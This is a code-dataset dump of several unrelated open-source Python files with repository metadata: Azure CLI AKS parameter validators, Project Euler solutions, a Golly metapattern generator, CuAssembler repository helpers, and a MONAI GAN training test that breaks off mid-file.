# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import os import os.path import re from math import ceil from ipaddress import ip_network from knack.log import get_logger from azure.cli.core.util import CLIError import azure.cli.core.keys as keys logger = get_logger(__name__) def validate_ssh_key(namespace): if hasattr(namespace, 'no_ssh_key') and namespace.no_ssh_key: return string_or_file = (namespace.ssh_key_value or os.path.join(os.path.expanduser('~'), '.ssh', 'id_rsa.pub')) content = string_or_file if os.path.exists(string_or_file): logger.info('Use existing SSH public key file: %s', string_or_file) with open(string_or_file, 'r') as f: content = f.read() elif not keys.is_valid_ssh_rsa_public_key(content): if namespace.generate_ssh_keys: # figure out appropriate file names: # 'base_name'(with private keys), and 'base_name.pub'(with public keys) public_key_filepath = string_or_file if public_key_filepath[-4:].lower() == '.pub': private_key_filepath = public_key_filepath[:-4] else: private_key_filepath = public_key_filepath + '.private' content = keys.generate_ssh_keys(private_key_filepath, public_key_filepath) logger.warning("SSH key files '%s' and '%s' have been generated under ~/.ssh to " "allow SSH access to the VM. If using machines without " "permanent storage like Azure Cloud Shell without an attached " "file share, back up your keys to a safe location", private_key_filepath, public_key_filepath) else: raise CLIError('An RSA key file or key value must be supplied to SSH Key Value. ' 'You can use --generate-ssh-keys to let CLI generate one for you') namespace.ssh_key_value = content def validate_create_parameters(namespace): if not namespace.name: raise CLIError('--name has no value') if namespace.dns_name_prefix is not None and not namespace.dns_name_prefix: raise CLIError('--dns-prefix has no value') def validate_k8s_version(namespace): """Validates a string as a possible Kubernetes version. An empty string is also valid, which tells the server to use its default version.""" if namespace.kubernetes_version: k8s_release_regex = re.compile(r'^[v|V]?(\d+\.\d+\.\d+.*)$') found = k8s_release_regex.findall(namespace.kubernetes_version) if found: namespace.kubernetes_version = found[0] else: raise CLIError('--kubernetes-version should be the full version number, ' 'such as "1.7.12" or "1.8.7"') def validate_linux_host_name(namespace): """Validates a string as a legal host name component. This validation will also occur server-side in the ARM API, but that may take a minute or two before the user sees it. So it's more user-friendly to validate in the CLI pre-flight. """ # https://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address rfc1123_regex = re.compile(r'^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])(\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9]))*$') # pylint:disable=line-too-long found = rfc1123_regex.findall(namespace.name) if not found: raise CLIError('--name cannot exceed 63 characters and can only contain ' 'letters, numbers, or dashes (-).') def validate_max_pods(namespace): """Validates that max_pods is set to a reasonable minimum number.""" # kube-proxy and kube-svc reside each nodes, # 2 kube-proxy pods, 1 azureproxy/heapster/dashboard/tunnelfront are in kube-system minimum_pods_required = ceil((namespace.node_count * 2 + 6 + 1) / namespace.node_count) if namespace.max_pods != 0 and namespace.max_pods < minimum_pods_required: raise CLIError('--max-pods must be at least {} for a managed Kubernetes cluster to function.' .format(minimum_pods_required)) def validate_nodes_count(namespace): """Validate that min_count and max_count is set to 1-100""" if namespace.min_count is not None: if namespace.min_count < 1 or namespace.min_count > 100: raise CLIError('--min-count must be in the range [1,100]') if namespace.max_count is not None: if namespace.max_count < 1 or namespace.max_count > 100: raise CLIError('--max-count must be in the range [1,100]') def validate_ip_ranges(namespace): if namespace.api_server_authorized_ip_ranges is not None: if namespace.api_server_authorized_ip_ranges == '': return for ip in namespace.api_server_authorized_ip_ranges.split(','): try: ip_network(ip) except ValueError: raise CLIError("--api-server-authorized-ip-ranges should be list of IPv4 addresses or CIDRs") def validate_nodepool_name(namespace): """Validates a nodepool name to be at most 12 characters, alphanumeric only.""" if namespace.nodepool_name != "": if len(namespace.nodepool_name) > 12: raise CLIError('--nodepool-name can contain atmost 12 characters') if not namespace.nodepool_name.isalnum(): raise CLIError('--nodepool-name should only contain alphanumeric characters') def validate_vm_set_type(namespace): """Validates the vm set type string.""" if namespace.vm_set_type is not None: if namespace.vm_set_type == '': return if namespace.vm_set_type.lower() != "availabilityset" and \ namespace.vm_set_type.lower() != "virtualmachinescalesets": raise CLIError("--vm-set-type can only be VirtualMachineScaleSets or AvailabilitySet") def validate_load_balancer_sku(namespace): """Validates the load balancer sku string.""" if namespace.load_balancer_sku is not None: if namespace.load_balancer_sku == '': return if namespace.load_balancer_sku.lower() != "basic" and namespace.load_balancer_sku.lower() != "standard": raise CLIError("--load-balancer-sku can only be standard or basic") def validate_load_balancer_outbound_ips(namespace): """validate load balancer profile outbound IP ids""" if namespace.load_balancer_outbound_ips is not None: ip_id_list = [x.strip() for x in namespace.load_balancer_outbound_ips.split(',')] if not all(ip_id_list): raise CLIError("--load-balancer-outbound-ips cannot contain whitespace") def validate_load_balancer_outbound_ip_prefixes(namespace): """validate load balancer profile outbound IP prefix ids""" if namespace.load_balancer_outbound_ip_prefixes is not None: ip_prefix_id_list = [x.strip() for x in namespace.load_balancer_outbound_ip_prefixes.split(',')] if not all(ip_prefix_id_list): raise CLIError("--load-balancer-outbound-ip-prefixes cannot contain whitespace") def validate_taints(namespace): """Validates that provided taint is a valid format""" regex = re.compile(r"^[a-zA-Z\d][\w\-\.\/]{0,252}=[a-zA-Z\d][\w\-\.]{0,62}:(NoSchedule|PreferNoSchedule|NoExecute)$") # pylint: disable=line-too-long if namespace.node_taints is not None and namespace.node_taints != '': for taint in namespace.node_taints.split(','): if taint == "": continue found = regex.findall(taint) if not found: raise CLIError('Invalid node taint: %s' % taint) def validate_priority(namespace): """Validates the node pool priority string.""" if namespace.priority is not None: if namespace.priority == '': return if namespace.priority != "Low" and \ namespace.priority != "Regular": raise CLIError("--priority can only be Low or Regular") def validate_eviction_policy(namespace): """Validates the node pool priority string.""" if namespace.eviction_policy is not None: if namespace.eviction_policy == '': return if namespace.eviction_policy != "Delete" and \ namespace.eviction_policy != "Deallocate": raise CLIError("--eviction-policy can only be Delete or Deallocate")

45.388601

184

0.649201

import os import os.path import re from math import ceil from ipaddress import ip_network from knack.log import get_logger from azure.cli.core.util import CLIError import azure.cli.core.keys as keys logger = get_logger(__name__) def validate_ssh_key(namespace): if hasattr(namespace, 'no_ssh_key') and namespace.no_ssh_key: return string_or_file = (namespace.ssh_key_value or os.path.join(os.path.expanduser('~'), '.ssh', 'id_rsa.pub')) content = string_or_file if os.path.exists(string_or_file): logger.info('Use existing SSH public key file: %s', string_or_file) with open(string_or_file, 'r') as f: content = f.read() elif not keys.is_valid_ssh_rsa_public_key(content): if namespace.generate_ssh_keys: public_key_filepath = string_or_file if public_key_filepath[-4:].lower() == '.pub': private_key_filepath = public_key_filepath[:-4] else: private_key_filepath = public_key_filepath + '.private' content = keys.generate_ssh_keys(private_key_filepath, public_key_filepath) logger.warning("SSH key files '%s' and '%s' have been generated under ~/.ssh to " "allow SSH access to the VM. If using machines without " "permanent storage like Azure Cloud Shell without an attached " "file share, back up your keys to a safe location", private_key_filepath, public_key_filepath) else: raise CLIError('An RSA key file or key value must be supplied to SSH Key Value. ' 'You can use --generate-ssh-keys to let CLI generate one for you') namespace.ssh_key_value = content def validate_create_parameters(namespace): if not namespace.name: raise CLIError('--name has no value') if namespace.dns_name_prefix is not None and not namespace.dns_name_prefix: raise CLIError('--dns-prefix has no value') def validate_k8s_version(namespace): if namespace.kubernetes_version: k8s_release_regex = re.compile(r'^[v|V]?(\d+\.\d+\.\d+.*)$') found = k8s_release_regex.findall(namespace.kubernetes_version) if found: namespace.kubernetes_version = found[0] else: raise CLIError('--kubernetes-version should be the full version number, ' 'such as "1.7.12" or "1.8.7"') def validate_linux_host_name(namespace): rfc1123_regex = re.compile(r'^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])(\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9]))*$') found = rfc1123_regex.findall(namespace.name) if not found: raise CLIError('--name cannot exceed 63 characters and can only contain ' 'letters, numbers, or dashes (-).') def validate_max_pods(namespace): minimum_pods_required = ceil((namespace.node_count * 2 + 6 + 1) / namespace.node_count) if namespace.max_pods != 0 and namespace.max_pods < minimum_pods_required: raise CLIError('--max-pods must be at least {} for a managed Kubernetes cluster to function.' .format(minimum_pods_required)) def validate_nodes_count(namespace): if namespace.min_count is not None: if namespace.min_count < 1 or namespace.min_count > 100: raise CLIError('--min-count must be in the range [1,100]') if namespace.max_count is not None: if namespace.max_count < 1 or namespace.max_count > 100: raise CLIError('--max-count must be in the range [1,100]') def validate_ip_ranges(namespace): if namespace.api_server_authorized_ip_ranges is not None: if namespace.api_server_authorized_ip_ranges == '': return for ip in namespace.api_server_authorized_ip_ranges.split(','): try: ip_network(ip) except ValueError: raise CLIError("--api-server-authorized-ip-ranges should be list of IPv4 addresses or CIDRs") def validate_nodepool_name(namespace): if namespace.nodepool_name != "": if len(namespace.nodepool_name) > 12: raise CLIError('--nodepool-name can contain atmost 12 characters') if not namespace.nodepool_name.isalnum(): raise CLIError('--nodepool-name should only contain alphanumeric characters') def validate_vm_set_type(namespace): if namespace.vm_set_type is not None: if namespace.vm_set_type == '': return if namespace.vm_set_type.lower() != "availabilityset" and \ namespace.vm_set_type.lower() != "virtualmachinescalesets": raise CLIError("--vm-set-type can only be VirtualMachineScaleSets or AvailabilitySet") def validate_load_balancer_sku(namespace): if namespace.load_balancer_sku is not None: if namespace.load_balancer_sku == '': return if namespace.load_balancer_sku.lower() != "basic" and namespace.load_balancer_sku.lower() != "standard": raise CLIError("--load-balancer-sku can only be standard or basic") def validate_load_balancer_outbound_ips(namespace): if namespace.load_balancer_outbound_ips is not None: ip_id_list = [x.strip() for x in namespace.load_balancer_outbound_ips.split(',')] if not all(ip_id_list): raise CLIError("--load-balancer-outbound-ips cannot contain whitespace") def validate_load_balancer_outbound_ip_prefixes(namespace): if namespace.load_balancer_outbound_ip_prefixes is not None: ip_prefix_id_list = [x.strip() for x in namespace.load_balancer_outbound_ip_prefixes.split(',')] if not all(ip_prefix_id_list): raise CLIError("--load-balancer-outbound-ip-prefixes cannot contain whitespace") def validate_taints(namespace): regex = re.compile(r"^[a-zA-Z\d][\w\-\.\/]{0,252}=[a-zA-Z\d][\w\-\.]{0,62}:(NoSchedule|PreferNoSchedule|NoExecute)$") if namespace.node_taints is not None and namespace.node_taints != '': for taint in namespace.node_taints.split(','): if taint == "": continue found = regex.findall(taint) if not found: raise CLIError('Invalid node taint: %s' % taint) def validate_priority(namespace): if namespace.priority is not None: if namespace.priority == '': return if namespace.priority != "Low" and \ namespace.priority != "Regular": raise CLIError("--priority can only be Low or Regular") def validate_eviction_policy(namespace): if namespace.eviction_policy is not None: if namespace.eviction_policy == '': return if namespace.eviction_policy != "Delete" and \ namespace.eviction_policy != "Deallocate": raise CLIError("--eviction-policy can only be Delete or Deallocate")

true

790b20caefe2c94a43433ce3db4e17257b12fc27

448

py

Python

Python/14 - Longest Collatz sequence/main.py

Dinoosawruss/project-euler

9be76ef134671fb0b4e1caa412173770b2edfcfd

[ "MIT" ]

null

Python/14 - Longest Collatz sequence/main.py

Dinoosawruss/project-euler

9be76ef134671fb0b4e1caa412173770b2edfcfd

[ "MIT" ]

null

Python/14 - Longest Collatz sequence/main.py

Dinoosawruss/project-euler

9be76ef134671fb0b4e1caa412173770b2edfcfd

[ "MIT" ]

null

steps = 0 c = {} m = 1 def collatz(n): global steps if n in c: steps += c[n] return if n == 1: return steps += 1 if n % 2 == 0: collatz(n/2) return collatz(3 * n + 1) def main(max): global steps global m for i in range(1, max): collatz(i) c[i] = steps if steps > c[m]: m = i steps = 0 main(1000000) print(m)

11.487179

27

0.419643

steps = 0 c = {} m = 1 def collatz(n): global steps if n in c: steps += c[n] return if n == 1: return steps += 1 if n % 2 == 0: collatz(n/2) return collatz(3 * n + 1) def main(max): global steps global m for i in range(1, max): collatz(i) c[i] = steps if steps > c[m]: m = i steps = 0 main(1000000) print(m)

true

790b20ed7e1c6e50df0dd5e3a47b79b8bfae940b

1,656

py

Python

project_euler/solutions/problem_68.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

null

project_euler/solutions/problem_68.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

9

2017-02-20T23:41:40.000Z

2017-04-16T15:36:54.000Z

project_euler/solutions/problem_68.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

null

from typing import List, Generator def n_gons(partial: List[int], size: int, sums: int=None) -> \ Generator[List[int], None, None]: length = len(partial) if length == size * 2: yield partial for i in range(1, size * 2 + 1): if i in partial: continue partial.append(i) if length == 2: sums = sum(partial[0: 3]) elif (length > 2 and length % 2 == 0 and sums != sum(partial[-1: -4: -1]))\ or \ (length == size * 2 - 1 and sums != partial[1] + partial[-1] + partial[-2]): partial.pop() continue yield from n_gons(list(partial), size, sums) partial.pop() def n_gon_to_representation(n_gon: List[int]) -> int: n_gon_str = [str(n) for n in n_gon] size = len(n_gon_str) // 2 result = '' minimal = min(n_gon[0], *n_gon[3::2]) index = n_gon.index(minimal) start = n_gon.index(minimal) // 2 if index >= 3 else 0 for i in range(start, start + size): current = i % size if current == 0: result += ''.join(n_gon_str[0:3]) elif current == size - 1: result += ''.join([n_gon_str[-1], n_gon_str[-2], n_gon_str[1]]) else: result += ''.join([n_gon_str[current * 2 + 1], n_gon_str[current * 2], n_gon_str[current * 2 + 2]]) return int(result) def solve() -> int: return max([n_gon_to_representation(n_gon) for n_gon in n_gons([], 5) if n_gon_to_representation(n_gon) < 10 ** 16])

27.147541

75

0.504227

from typing import List, Generator def n_gons(partial: List[int], size: int, sums: int=None) -> \ Generator[List[int], None, None]: length = len(partial) if length == size * 2: yield partial for i in range(1, size * 2 + 1): if i in partial: continue partial.append(i) if length == 2: sums = sum(partial[0: 3]) elif (length > 2 and length % 2 == 0 and sums != sum(partial[-1: -4: -1]))\ or \ (length == size * 2 - 1 and sums != partial[1] + partial[-1] + partial[-2]): partial.pop() continue yield from n_gons(list(partial), size, sums) partial.pop() def n_gon_to_representation(n_gon: List[int]) -> int: n_gon_str = [str(n) for n in n_gon] size = len(n_gon_str) // 2 result = '' minimal = min(n_gon[0], *n_gon[3::2]) index = n_gon.index(minimal) start = n_gon.index(minimal) // 2 if index >= 3 else 0 for i in range(start, start + size): current = i % size if current == 0: result += ''.join(n_gon_str[0:3]) elif current == size - 1: result += ''.join([n_gon_str[-1], n_gon_str[-2], n_gon_str[1]]) else: result += ''.join([n_gon_str[current * 2 + 1], n_gon_str[current * 2], n_gon_str[current * 2 + 2]]) return int(result) def solve() -> int: return max([n_gon_to_representation(n_gon) for n_gon in n_gons([], 5) if n_gon_to_representation(n_gon) < 10 ** 16])

true

790b2172f11693a484bd3b9749b5261fd8dd9c4e

3,190

py

Python

MetafierV2.py

IkeoluwaStat/QFT

fe36763e90e3601dfab2a78a08962113343efd0c

[ "MIT" ]

163

2017-07-31T23:07:56.000Z

2022-01-30T03:07:12.000Z

MetafierV2.py

IkeoluwaStat/QFT

fe36763e90e3601dfab2a78a08962113343efd0c

[ "MIT" ]

null

MetafierV2.py

IkeoluwaStat/QFT

fe36763e90e3601dfab2a78a08962113343efd0c

[ "MIT" ]

7

2017-09-14T16:42:06.000Z

2022-02-25T15:04:01.000Z

# Metafier V2: writes directly to output.mc # Uses numpy and memoization to speed up a crap ton & compress data a bit # ===REQUIRES metatemplate11.mc=== import golly as g import numpy as np from shutil import copyfile #Get the selection selection = g.getselrect() if not selection: g.exit("No selection.") #Get the cells in the selection cells = g.getcells(selection) if not cells: g.exit("No pattern in selection") if len(cells) % 3: cells = cells[:-1] selw = selection[2] selh = selection[3] patternsize = 1 << int(np.ceil(np.log2(selh | selw))) metapattern = np.zeros((patternsize, patternsize)) #Pseudo-convolution, to detect diagonal neighbors # +1 +0 +2 # +0 *16 +0 # +4 +0 +8 for cell in np.reshape(cells, (-1, 3)): selx = cell[0] - selection[0] sely = cell[1] - selection[1] metapattern[sely][selx] += 16 * cell[2] if sely: if selx: metapattern[sely - 1][selx - 1] += 8 if selx + 1 < selw: metapattern[sely - 1][selx + 1] += 4 if sely + 1 < selh: if selx: metapattern[sely + 1][selx - 1] += 2 if selx + 1 < selw: metapattern[sely + 1][selx + 1] += 1 #Remove all B/S cells metapattern[metapattern < 32] = np.nan metapattern += 5630 - 32 #5632 is starting point of 11s in template metapattern[np.isnan(metapattern)] = 0 metapattern = metapattern.astype(int) #Using metatemplate11, memoization, and some recursion def createLine(pattern, outfile, linenum = [5726], memo = {}): #linenum and memo are mutable function arguments, which are only initialized during function definition if tuple(pattern.ravel().tolist()) not in memo: #If we haven't seen this type of pattern before, let's remember it if pattern.shape[0] == 2: #Pattern is a leaf, write leaf line outfile.write('{} {} {} {} {}\n'.format(pattern.shape[0].bit_length() + 10, pattern[0, 0], pattern[0, 1], pattern[1, 0], pattern[1, 1])) else: #Pattern is a branch, keep going down quadtree subpatterns = pattern.reshape(2, pattern.shape[0] >> 1, 2, pattern.shape[0] >> 1).swapaxes(1,2) outfile.write('{} {} {} {} {}\n'.format(pattern.shape[0].bit_length() + 10, createLine(subpatterns[0, 0], outfile), createLine(subpatterns[0, 1], outfile), createLine(subpatterns[1, 0], outfile), createLine(subpatterns[1, 1], outfile))) memo[tuple(pattern.ravel().tolist())] = linenum[0] linenum[0] += 1 return memo[tuple(pattern.ravel().tolist())] copyfile('metatemplate11.mc', 'output.mc') with open('output.mc', 'a') as outputfile: createLine(metapattern, outputfile) #Display output.mc g.addlayer() g.open('output.mc') #TODO: Use metatemplate10?

40.379747

167

0.551097

import golly as g import numpy as np from shutil import copyfile selection = g.getselrect() if not selection: g.exit("No selection.") cells = g.getcells(selection) if not cells: g.exit("No pattern in selection") if len(cells) % 3: cells = cells[:-1] selw = selection[2] selh = selection[3] patternsize = 1 << int(np.ceil(np.log2(selh | selw))) metapattern = np.zeros((patternsize, patternsize)) for cell in np.reshape(cells, (-1, 3)): selx = cell[0] - selection[0] sely = cell[1] - selection[1] metapattern[sely][selx] += 16 * cell[2] if sely: if selx: metapattern[sely - 1][selx - 1] += 8 if selx + 1 < selw: metapattern[sely - 1][selx + 1] += 4 if sely + 1 < selh: if selx: metapattern[sely + 1][selx - 1] += 2 if selx + 1 < selw: metapattern[sely + 1][selx + 1] += 1 metapattern[metapattern < 32] = np.nan metapattern += 5630 - 32 metapattern[np.isnan(metapattern)] = 0 metapattern = metapattern.astype(int) def createLine(pattern, outfile, linenum = [5726], memo = {}): if tuple(pattern.ravel().tolist()) not in memo: if pattern.shape[0] == 2: outfile.write('{} {} {} {} {}\n'.format(pattern.shape[0].bit_length() + 10, pattern[0, 0], pattern[0, 1], pattern[1, 0], pattern[1, 1])) else: subpatterns = pattern.reshape(2, pattern.shape[0] >> 1, 2, pattern.shape[0] >> 1).swapaxes(1,2) outfile.write('{} {} {} {} {}\n'.format(pattern.shape[0].bit_length() + 10, createLine(subpatterns[0, 0], outfile), createLine(subpatterns[0, 1], outfile), createLine(subpatterns[1, 0], outfile), createLine(subpatterns[1, 1], outfile))) memo[tuple(pattern.ravel().tolist())] = linenum[0] linenum[0] += 1 return memo[tuple(pattern.ravel().tolist())] copyfile('metatemplate11.mc', 'output.mc') with open('output.mc', 'a') as outputfile: createLine(metapattern, outputfile) g.addlayer() g.open('output.mc')

true

790b221d069713fd8fd1b1bc68f98ddc02ba0302

1,420

py

Python

Tests/test_CuInsAsmRepos_sm50.py

gxsaccount/CuAssembler

4542a3ee3fe4788bfd368a337e4c89ee288f0684

[ "MIT" ]

100

2020-08-03T03:03:02.000Z

2022-03-23T15:46:58.000Z

Tests/test_CuInsAsmRepos_sm50.py

gxsaccount/CuAssembler

4542a3ee3fe4788bfd368a337e4c89ee288f0684

[ "MIT" ]

6

2021-05-17T07:24:05.000Z

2022-02-08T11:29:44.000Z

Tests/test_CuInsAsmRepos_sm50.py

gxsaccount/CuAssembler

4542a3ee3fe4788bfd368a337e4c89ee288f0684

[ "MIT" ]

25

2020-08-03T03:03:15.000Z

2022-02-24T12:57:40.000Z

# -*- coding: utf-8 -*- from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos from CuAsm.CuInsFeeder import CuInsFeeder def constructReposFromFile(sassname, savname=None, arch='sm_75'): # initialize a feeder with sass feeder = CuInsFeeder(sassname, arch=arch) # initialize an empty repos repos = CuInsAssemblerRepos(arch=arch)# # Update the repos with instructions from feeder repos.update(feeder) # reset the feeder back to start # feeder.restart() # verify the repos # actually the codes is already verifed during repos construction # repos.verify(feeder) if savname is not None: repos.save2file(savname) return repos def verifyReposFromFile(sassname, reposfile, arch='sm_75'): # initialize a feeder with sass feeder = CuInsFeeder(sassname, arch=arch) # initialize an empty repos repos = CuInsAssemblerRepos(reposfile, arch=arch)# # verify the repos repos.verify(feeder) if __name__ == '__main__': sassname = r"G:\\Temp\\NVSASS\\cudnn64_7.sm_50.sass" # sassname = r'G:\\Temp\\Program.45.sm_50.sass' reposfile = r'InsAsmRepos.sm_50.txt' arch = 'sm_50' constructReposFromFile(sassname, reposfile, arch=arch) print('### Construction done!') # verifyReposFromFile(sassname, reposfile, arch=arch) # print('### Verification done!')

27.307692

70

0.672535

from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos from CuAsm.CuInsFeeder import CuInsFeeder def constructReposFromFile(sassname, savname=None, arch='sm_75'): feeder = CuInsFeeder(sassname, arch=arch) repos = CuInsAssemblerRepos(arch=arch) repos.update(feeder) if savname is not None: repos.save2file(savname) return repos def verifyReposFromFile(sassname, reposfile, arch='sm_75'): feeder = CuInsFeeder(sassname, arch=arch) repos = CuInsAssemblerRepos(reposfile, arch=arch) repos.verify(feeder) if __name__ == '__main__': sassname = r"G:\\Temp\\NVSASS\\cudnn64_7.sm_50.sass" reposfile = r'InsAsmRepos.sm_50.txt' arch = 'sm_50' constructReposFromFile(sassname, reposfile, arch=arch) print('### Construction done!')

true

790b222ea040908137c4f4b9fa62ce4fe964d3f9

5,498

py

Python

tests/test_integration_workflows_gan.py

Can-Zhao/MONAI

e29ef022b97a4e809dd22d4d208005f541ee061b

[ "Apache-2.0" ]

3

2020-06-22T20:59:14.000Z

2021-04-09T21:24:45.000Z

tests/test_integration_workflows_gan.py

Borda/MONAI

e0db5a564225a7cb62e7a23df97267019006302f

[ "Apache-2.0" ]

null

tests/test_integration_workflows_gan.py

Borda/MONAI

e0db5a564225a7cb62e7a23df97267019006302f

[ "Apache-2.0" ]

1

2020-05-27T12:53:58.000Z

# Copyright (c) MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import os import shutil import sys import tempfile import unittest from glob import glob import nibabel as nib import numpy as np import torch import monai from monai.data import create_test_image_2d from monai.engines import GanTrainer from monai.engines.utils import GanKeys as Keys from monai.handlers import CheckpointSaver, StatsHandler, TensorBoardStatsHandler from monai.networks import normal_init from monai.networks.nets import Discriminator, Generator from monai.transforms import AsChannelFirstd, Compose, LoadImaged, RandFlipd, ScaleIntensityd, ToTensord from monai.utils import set_determinism from tests.utils import DistTestCase, TimedCall, skip_if_quick def run_training_test(root_dir, device="cuda:0"): real_images = sorted(glob(os.path.join(root_dir, "img*.nii.gz"))) train_files = [{"reals": img} for img in zip(real_images)] # prepare real data train_transforms = Compose( [ LoadImaged(keys=["reals"]), AsChannelFirstd(keys=["reals"]), ScaleIntensityd(keys=["reals"]), RandFlipd(keys=["reals"], prob=0.5), ToTensord(keys=["reals"]), ] ) train_ds = monai.data.CacheDataset(data=train_files, transform=train_transforms, cache_rate=0.5) train_loader = monai.data.DataLoader(train_ds, batch_size=2, shuffle=True, num_workers=4) learning_rate = 2e-4 betas = (0.5, 0.999) real_label = 1 fake_label = 0 # create discriminator disc_net = Discriminator( in_shape=(1, 64, 64), channels=(8, 16, 32, 64, 1), strides=(2, 2, 2, 2, 1), num_res_units=1, kernel_size=5 ).to(device) disc_net.apply(normal_init) disc_opt = torch.optim.Adam(disc_net.parameters(), learning_rate, betas=betas) disc_loss_criterion = torch.nn.BCELoss() def discriminator_loss(gen_images, real_images): real = real_images.new_full((real_images.shape[0], 1), real_label) gen = gen_images.new_full((gen_images.shape[0], 1), fake_label) realloss = disc_loss_criterion(disc_net(real_images), real) genloss = disc_loss_criterion(disc_net(gen_images.detach()), gen) return torch.div(torch.add(realloss, genloss), 2) # create generator latent_size = 64 gen_net = Generator( latent_shape=latent_size, start_shape=(latent_size, 8, 8), channels=[32, 16, 8, 1], strides=[2, 2, 2, 1] ) gen_net.apply(normal_init) gen_net.conv.add_module("activation", torch.nn.Sigmoid()) gen_net = gen_net.to(device) gen_opt = torch.optim.Adam(gen_net.parameters(), learning_rate, betas=betas) gen_loss_criterion = torch.nn.BCELoss() def generator_loss(gen_images): output = disc_net(gen_images) cats = output.new_full(output.shape, real_label) return gen_loss_criterion(output, cats) key_train_metric = None train_handlers = [ StatsHandler( name="training_loss", output_transform=lambda x: {Keys.GLOSS: x[Keys.GLOSS], Keys.DLOSS: x[Keys.DLOSS]} ), TensorBoardStatsHandler( log_dir=root_dir, tag_name="training_loss", output_transform=lambda x: {Keys.GLOSS: x[Keys.GLOSS], Keys.DLOSS: x[Keys.DLOSS]}, ), CheckpointSaver( save_dir=root_dir, save_dict={"g_net": gen_net, "d_net": disc_net}, save_interval=2, epoch_level=True ), ] disc_train_steps = 2 num_epochs = 5 trainer = GanTrainer( device, num_epochs, train_loader, gen_net, gen_opt, generator_loss, disc_net, disc_opt, discriminator_loss, d_train_steps=disc_train_steps, latent_shape=latent_size, key_train_metric=key_train_metric, train_handlers=train_handlers, ) trainer.run() return trainer.state @skip_if_quick class IntegrationWorkflowsGAN(DistTestCase): def setUp(self): set_determinism(seed=0) self.data_dir = tempfile.mkdtemp() for i in range(40): im, _ = create_test_image_2d(64, 64, num_objs=3, rad_max=14, num_seg_classes=1, channel_dim=-1) n = nib.Nifti1Image(im, np.eye(4)) nib.save(n, os.path.join(self.data_dir, f"img{i:d}.nii.gz")) self.device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu:0") monai.config.print_config() logging.basicConfig(stream=sys.stdout, level=logging.INFO) def tearDown(self): set_determinism(seed=None) shutil.rmtree(self.data_dir) @TimedCall(seconds=200, daemon=False) def test_training(self): torch.manual_seed(0) finish_state = run_training_test(self.data_dir, device=self.device) # assert GAN training finished self.assertEqual(finish_state.iteration, 100) self.assertEqual(finish_state.epoch, 5) if __name__ == "__main__": unittest.main()

34.3625

115

0.684613

import logging import os import shutil import sys import tempfile import unittest from glob import glob import nibabel as nib import numpy as np import torch import monai from monai.data import create_test_image_2d from monai.engines import GanTrainer from monai.engines.utils import GanKeys as Keys from monai.handlers import CheckpointSaver, StatsHandler, TensorBoardStatsHandler from monai.networks import normal_init from monai.networks.nets import Discriminator, Generator from monai.transforms import AsChannelFirstd, Compose, LoadImaged, RandFlipd, ScaleIntensityd, ToTensord from monai.utils import set_determinism from tests.utils import DistTestCase, TimedCall, skip_if_quick def run_training_test(root_dir, device="cuda:0"): real_images = sorted(glob(os.path.join(root_dir, "img*.nii.gz"))) train_files = [{"reals": img} for img in zip(real_images)] train_transforms = Compose( [ LoadImaged(keys=["reals"]), AsChannelFirstd(keys=["reals"]), ScaleIntensityd(keys=["reals"]), RandFlipd(keys=["reals"], prob=0.5), ToTensord(keys=["reals"]), ] ) train_ds = monai.data.CacheDataset(data=train_files, transform=train_transforms, cache_rate=0.5) train_loader = monai.data.DataLoader(train_ds, batch_size=2, shuffle=True, num_workers=4) learning_rate = 2e-4 betas = (0.5, 0.999) real_label = 1 fake_label = 0 disc_net = Discriminator( in_shape=(1, 64, 64), channels=(8, 16, 32, 64, 1), strides=(2, 2, 2, 2, 1), num_res_units=1, kernel_size=5 ).to(device) disc_net.apply(normal_init) disc_opt = torch.optim.Adam(disc_net.parameters(), learning_rate, betas=betas) disc_loss_criterion = torch.nn.BCELoss() def discriminator_loss(gen_images, real_images): real = real_images.new_full((real_images.shape[0], 1), real_label) gen = gen_images.new_full((gen_images.shape[0], 1), fake_label) realloss = disc_loss_criterion(disc_net(real_images), real) genloss = disc_loss_criterion(disc_net(gen_images.detach()), gen) return torch.div(torch.add(realloss, genloss), 2) latent_size = 64 gen_net = Generator( latent_shape=latent_size, start_shape=(latent_size, 8, 8), channels=[32, 16, 8, 1], strides=[2, 2, 2, 1] ) gen_net.apply(normal_init) gen_net.conv.add_module("activation", torch.nn.Sigmoid()) gen_net = gen_net.to(device) gen_opt = torch.optim.Adam(gen_net.parameters(), learning_rate, betas=betas) gen_loss_criterion = torch.nn.BCELoss() def generator_loss(gen_images): output = disc_net(gen_images) cats = output.new_full(output.shape, real_label) return gen_loss_criterion(output, cats) key_train_metric = None train_handlers = [ StatsHandler( name="training_loss", output_transform=lambda x: {Keys.GLOSS: x[Keys.GLOSS], Keys.DLOSS: x[Keys.DLOSS]} ), TensorBoardStatsHandler( log_dir=root_dir, tag_name="training_loss", output_transform=lambda x: {Keys.GLOSS: x[Keys.GLOSS], Keys.DLOSS: x[Keys.DLOSS]}, ), CheckpointSaver( save_dir=root_dir, save_dict={"g_net": gen_net, "d_net": disc_net}, save_interval=2, epoch_level=True ), ] disc_train_steps = 2 num_epochs = 5 trainer = GanTrainer( device, num_epochs, train_loader, gen_net, gen_opt, generator_loss, disc_net, disc_opt, discriminator_loss, 